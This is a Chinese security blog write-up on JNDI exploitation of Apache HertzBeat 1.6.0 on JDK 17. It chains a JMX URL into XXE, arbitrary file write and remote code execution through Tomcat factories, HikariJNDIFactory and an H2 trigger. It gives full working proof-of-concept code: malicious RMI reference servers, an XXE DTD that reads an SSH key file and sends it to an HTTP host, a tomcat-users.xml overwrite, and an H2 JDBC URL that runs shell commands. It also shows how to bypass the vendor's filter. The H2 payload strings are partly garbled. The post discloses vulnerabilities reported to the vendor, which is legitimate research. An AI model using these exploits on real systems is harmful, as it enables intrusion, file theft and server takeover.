高版本jdk下jndi攻击案例

0x01 简介
​ Apache HertzBeat (incubating) 是一个易用友好的开源实时监控告警系统,无需 Agent,高性能集群,兼容 Prometheus,提供强大的自定义监控和状态页构建能力。

0x02 漏洞介绍在这里插入图片描述
在这里插入图片描述
这里我和springkill在1.6.0版本给官方保送了两次,一个是xxe和文件写入,另一个为远程命令执行,合并到一起。

0x03 漏洞分析
首先来看一下触发点,apacheHertzBeat后台是可以配置jmx去连接服务器获取服务器的各种配置信息的,也就是说我们可控jmx的连接配置。

org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl#getConnectSession

private JMXConnector getConnectSession(JmxProtocol jmxProtocol) throws IOException {
......
    String url;
    if (jmxProtocol.getUrl() != null) {
        url = jmxProtocol.getUrl();
    } else {
        url = JMX_URL_PREFIX + jmxProtocol.getHost() + ":" + jmxProtocol.getPort() + JMX_URL_SUFFIX;
    }
            ......
    JMXServiceURL jmxServiceUrl = new JMXServiceURL(url);
    conn = JMXConnectorFactory.connect(jmxServiceUrl, environment);
    connectionCommonCache.addCache(identifier, new JmxConnect(conn));
    return conn;
}

这里会从jmxProtocol获取url,然后JMXConnectorFactory.connect进行连接。但是系统为jdk17,显然是不能加载远程class的,所以我们可以给予本地reference进行利用。

xxe analysis
​ 由于tomcat版本太高,导致beanFactory.noForceString,但是找到了MemoryUserDatabaseFactory来做xe和文件写入。

org.apache.catalina.users.MemoryUserDatabaseFactory

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    if (obj != null && obj instanceof Reference) {
        Reference ref = (Reference)obj;
        if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
            return null;
        } else {
            MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
            RefAddr ra = null;
            ra = ref.get("pathname");
            if (ra != null) {
                database.setPathname(ra.getContent().toString());
            }

            ra = ref.get("readonly");
            if (ra != null) {
                database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
            }

            ra = ref.get("watchSource");
            if (ra != null) {
                database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
            }

            database.open();
            if (!database.getReadonly()) {
                database.save();
            }

            return database;
        }
    } else {
        return null;
    }
  ........

可以看到从ref获取到传递的值后,会调用database.open();如果readonly为false,则会调用database.save();

org.apache.catalina.users.MemoryUserDatabase#open

public void open() throws Exception {
this.writeLock.lock();

    try {
        this.users.clear();
        this.groups.clear();
        this.roles.clear();
        String pathName = this.getPathname();

        try {
            ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName);

            try {
                this.lastModified = resource.getLastModified();
                Digester digester = new Digester();

                try {
                    digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
                } catch (Exception var13) {
                    Exception e = var13;
                    log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), e);
                }

                digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
                digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
                digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), 

它根据路径名发起本地或者远程文件访问,并使用commons-digest解析返回的XML内容,所以这里可以进行XXE。

arbitrary file write analysis
如果 readonly 为 false,则调用 database.save()。

org.apache.catalina.users.MemoryUserDatabase#save

  if (this.getReadonly()) {
        log.error(sm.getString("memoryUserDatabase.readOnly"));
    } else if (!this.isWritable()) {
        log.warn(sm.getString("memoryUserDatabase.notPersistable"));
    } else {
        File fileNew = new File(this.pathnameNew);
        if (!fileNew.isAbsolute()) {
            fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
        }

        this.writeLock.lock();

        try {
            try {
                FileOutputStream fos = new FileOutputStream(fileNew);

                try {
                    OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8);

                    try {
                        PrintWriter writer = new PrintWriter(osw);

                        try {
                            writer.println("<?xml version='1.0' encoding='utf-8'?>");
                            writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"");
                            writer.print("              ");
                            writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");
                            writer.print("              ");
                            writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");
                            writer.println("              version=\"1.0\">");
                            Iterator<?> values = null;

                            for(values = this.getRoles(); values.hasNext(); writer.println("/>")) {
                                Role role = (Role)values.next();
                                writer.print("  <role rolename=\"");
                                writer.print(Escape.xml(role.getRolename()));
                                writer.print("\"");
                                if (null != role.getDescription()) {
                                    writer.print(" description=\"");
                                    writer.print(Escape.xml(role.getDescription()));
                                    writer.print("\"");
                                }
                            }

                            values = this.getGroups();


​ 可以发现,从pathname获取到的文件然后拼接上System.getProperty(“catalina.base”)进行写入,写入的是tomcat配置用户文件。也就是说,你可以控制生成文件的位置,导致文件被写入。

tomcat下的二次注入去命令执行
org.apache.hertzbeat.manager.Manager#init

public void init() {
    System.setProperty("jdk.jndi.object.factoriesFilter", "!com.zaxxer.hikari.HikariJNDIFactory");
}

​ 在1.6.0中,过滤了com.zaxxer.hikari.HikariJNDIFactory,所以我们需要找一个替代的类或者有什么办法去绕过这个检测。

​ 最后发现在 tomcat 中发现 org.apache.naming.factory.FactoryBase,可导致二次引用注入,从而绕过针对 CVE-2023-51653 的修复,执行任意代码。

org.apache.naming.factory.FactoryBase#getObjectInstance

public final Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    if (this.isReferenceTypeSupported(obj)) {
        Reference ref = (Reference)obj;
        Object linked = this.getLinked(ref);
        if (linked != null) {
            return linked;
        } else {
            ObjectFactory factory = null;
            RefAddr factoryRefAddr = ref.get("factory");
            if (factoryRefAddr != null) {
                String factoryClassName = factoryRefAddr.getContent().toString();
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                Class<?> factoryClass = null;

                NamingException ex;
                try {
                    if (tcl != null) {
                        factoryClass = tcl.loadClass(factoryClassName);
                    } else {
                        factoryClass = Class.forName(factoryClassName);
                    }
                } catch (ClassNotFoundException var14) {
                    ClassNotFoundException e = var14;
                    ex = new NamingException(sm.getString("factoryBase.factoryClassError"));
                    ex.initCause(e);
                    throw ex;
                }

                try {
                    factory = (ObjectFactory)factoryClass.getConstructor().newInstance();
                } catch (Throwable var15) {
                            ......
                }
            } else {
                factory = this.getDefaultFactory(ref);
            }

            if (factory != null) {
                return factory.getObjectInstance(obj, name, nameCtx, environment);
            } else {
                throw new NamingException(sm.getString("factoryBase.instanceCreationError"));
            }
        }
    } else {
        return null;
    }
}

这里我们可以控制工厂,并赋值给一个可利用的工厂,工厂会自动初始化,然后调用factory.getObjectInstance,这样就足够进行二次引用利用了。这里我们将工厂改为com.zaxxer.hikari.HikariJNDIFactory,绕过过滤检测,触发HikariJNDIFactory加载org.h2.Driver,从而触发任意代码执行漏洞。

com.zaxxer.hikari.HikariJNDIFactory#getObjectInstance

public synchronized Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    if (obj instanceof Reference && "javax.sql.DataSource".equals(((Reference)obj).getClassName())) {
        Reference ref = (Reference)obj;
        Set<String> hikariPropSet = PropertyElf.getPropertyNames(HikariConfig.class);
        Properties properties = new Properties();
        Enumeration<RefAddr> enumeration = ref.getAll();

        while(true) {
            RefAddr element;
            String type;
            do {
                if (!enumeration.hasMoreElements()) {
                    return this.createDataSource(properties, nameCtx);
                }
              ......
}

com.zaxxer.hikari.HikariJNDIFactory#createDataSource

private DataSource createDataSource(Properties properties, Context context) throws NamingException {
    String jndiName = properties.getProperty("dataSourceJNDI");
    return (DataSource)(jndiName != null ? this.lookupJndiDataSource(properties, context, jndiName) : new HikariDataSource(new HikariConfig(properties)));
}

这里调用createDataSource创建jdbc连接,从而触发h2加载任意代码。

在jdk17上是没有js引擎,所以h2调用js是走不通的。

h2withoutjs 执行代码
这里通过分析h2的流程成功找到不需要js也能执行的办法。

H2 在解析 init 参数时,会对 CreateTrigger 进行 LoadFromsource 特殊处理,根据内容开头判断是否由 Javasc Ript 引擎执行,如果以 //javascript/Nashorn/groovy 开头,则会编译 javascript/Nashorn /groovy引擎并执行。但根据我的研究,Create Trigger 时,我可以直接控制生成 Trigger 的代码,这样在不需要任何引擎都可以执行任何代码,在不限制 JDK 版本的情况下,无疑是巨大的风险。

org.h2.command.ddl.CreateTrigger#update

在这里插入图片描述
在创建JDBC连接的时候,如果设置了Trigger,那么就会创建TriggerObject。这里的Triggersource,TriggerName,我们都可以控制。

org.h2.schema.TriggerObject#setTriggerAction在这里插入图片描述
完成后会加载到这里

org.h2.util.SourceCompiler#getClass

在这里插入图片描述
就是对一些类进行处理,最后利用Javac编译出恶意的Java代码在这里插入图片描述
将恶意的Trigger和Class放入Map中,最后使用LoadClass来加载这个恶意类。在这里插入图片描述
这样就可以通过jmx返回一个二次reference去打jdbc利用。

0x04 环境搭建以及复现
搭建
​ 这里我们可以直接在官网下载对应的二进制版本,https://hertzbeat.apache.org/zh-cn/docs/download,然后在bin目录下执行 startup.sh启动即可。

​ 访问http://localhost:1157开始,默认账户:admin/hertzbeat

xxe
恶意 RMIServer Ref

import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class rmiref {
private static String command = “/System/Applications/Calculator.app/Contents/MacOS/Calculator”;
public static ResourceRef exploit() {

    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8080/exp.xml"));
    return ref;
}
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1097);

    Properties props = new Properties();
    props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    props.put(Context.PROVIDER_URL, "rmi://localhost:1097");

    Context context = new InitialContext(props);

    context.bind("Object", exploit());

    context.close();
}

}

恶意的ext.dtd :

<!ENTITY % bbb SYSTEM "file:///Users/snake/.ssh/id_rsa.pub"><!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'http://127.0.0.1:8080?p=%bbb;'>">

恶意的exp.xml :

<?xml version="1.0" encoding="UTF-8"?>%aaa;%ccc;%ddd;]>

然后使用python创建一个http服务

在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填入service:jmx:rmi:///jndi/rmi://ip:port/object,http返回包会读取文件内容。

服务报错,然后读取文件内容。

Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is org.xml.sax.SAXParseException; systemId: http://127.0.0.1:8080?p=ssh-rsa%20XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXxx=%20XXXXXXXXXXXXXX@qq.com; lineNumber: 1; columnNumber: 3; The markup declarations contained or pointed to by the document type declaration must be well-formed.]
arbitrary file write poc
恶意 RMIServer Ref

import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class rmiref {
private static String command = “/System/Applications/Calculator.app/Contents/MacOS/Calculator”;
public static ResourceRef exploit() {

    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "/tmp/deadbeef"));
    ref.add(new StringRefAddr("readonly", "false"));
    return ref;
}
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1097);
    Properties props = new Properties();
    props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
    Context context = new InitialContext(props);
    context.bind("Object", exploit());
    context.close();
}

}

在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填写service:jmx:rmi:///jndi/rmi://ip:port/object,

提交后会在/tmp中生成DeadBeef

如果本地环境变量里有catalina.base,我们就可以写入Tomcat-users.xml来接管Tomcat。

恶意RMIServer Ref

import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class rmiref {
private static String command = “/System/Applications/Calculator.app/Contents/MacOS/Calculator”;
public static ResourceRef exploit() {

    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
    ref.add(new StringRefAddr("readonly", "false"));
    return ref;
}
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1097);
    Properties props = new Properties();
    props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
    Context context = new InitialContext(props);
    context.bind("Object", exploit());
    context.close();
}

}
tomcat-users.xml

然后使用python创建一个http服务

org.apache.catalina.users.MemoryUserDatabase#save

           fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);

假设catalina.base=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/…/conf/TOMCAT-users.xml

他们形成的文件路径是/usr/apache-tomcat-8.5.73/http:127.0.0.1:8888/…/conf/tomcat-ssesers.xml

getpaRentfile获取/usr/apache-tomcat-8.5.73/http:127.0.0.1:8888/…/conf/

这个在Windows下是没问题的,但是如果是Linux系统,则需要目录是必须存在的。

rce
由于org.apache.naming.factory.FactoryBase是抽象类,这里factory就填它的子类就行了。

它的四个子类。

org.apache.naming.factory.EjbFactory
org.apache.naming.factory.ResourceEnvFactory
org.apache.naming.factory.ResourceFactory
org.apache.naming.factory.TransactionFactory
构造恶意引用并使其在 JNDI 连接时返回。

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class refrce {
public static ResourceRef exploit() throws Exception {
String url= “jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS v o i d U N A M 4 ( ) t h r o w s E x c e p t i o n R u n t i m e . g e t R u n t i m e ( ) . e x e c ( o ¨ p e n − a c a l c u l a t o r ) ¨ ; void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;} voidUNAM4()throwsExceptionRuntime.getRuntime().exec(o¨penacalculator)¨;”;
ResourceRef ref = new ResourceRef(“javax.sql.DataSource”, null,“”,“”,true,“org.apache.naming.factory.ResourceFactory”,null);
ref.add(new StringRefAddr(“factory”, “com.zaxxer.hikari.HikariJNDIFactory”));
ref.add(new StringRefAddr(“driverClassName”, “org.h2.Driver”));

    ref.add(new StringRefAddr("jdbcUrl", url));
    return ref;
}
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1097);
    Properties props = new Properties();
    props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
    Context context = new InitialContext(props);
    context.bind("Object", exploit());
    context.close();
}

}
在/API/Monitor/Detect接口提交数据,填写service:jmx:rmi:///jndi/rmi://ip:port/object,即可执行命令。

本来准备下版本交的,可是白名单了。利用LookupRef来进行二次注入

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.LookupRef;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class refrce {
public static Object exploit() throws Exception {
String url= “jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS v o i d U N A M 4 ( ) t h r o w s E x c e p t i o n R u n t i m e . g e t R u n t i m e ( ) . e x e c ( o ¨ p e n − a c a l c u l a t o r ) ¨ ; void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;} voidUNAM4()throwsExceptionRuntime.getRuntime().exec(o¨penacalculator)¨;”;
LookupRef ref = new LookupRef(“javax.sql.DataSource”, “org.apache.naming.factory.LookupFactory”, null, null);
ref.add(new StringRefAddr(“factory”, “com.zaxxer.hikari.HikariJNDIFactory”));
ref.add(new StringRefAddr(“driverClassName”, “org.h2.Driver”));

    ref.add(new StringRefAddr("jdbcUrl", url));
    return ref;
}
public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1099);
    Properties props = new Properties();
    props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    props.put(Context.PROVIDER_URL, "rmi://localhost:1099");
    Context context = new InitialContext(props);
    context.bind("Object", exploit());
    context.close();
}

}
0x05 修复方式
官方直接使用暴力方式进行修复,采用白名单。

private static final String[] WHITE_PRE_LIST = new String[]{
        "java.",
        "javax.management.",
        "org.apache.hertzbeat.",
        "org.springframework.util.",
        "com.sun.",
        "sun.",
        "org.slf4j.",
        "jdk.",
        "org.w3c.dom."
};

只允许以上面开头的类进行加载。

tips
其实现在已经很多系统都对reference进行检查,希望通过这个列子对大家实战中提供一遍帮助。在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值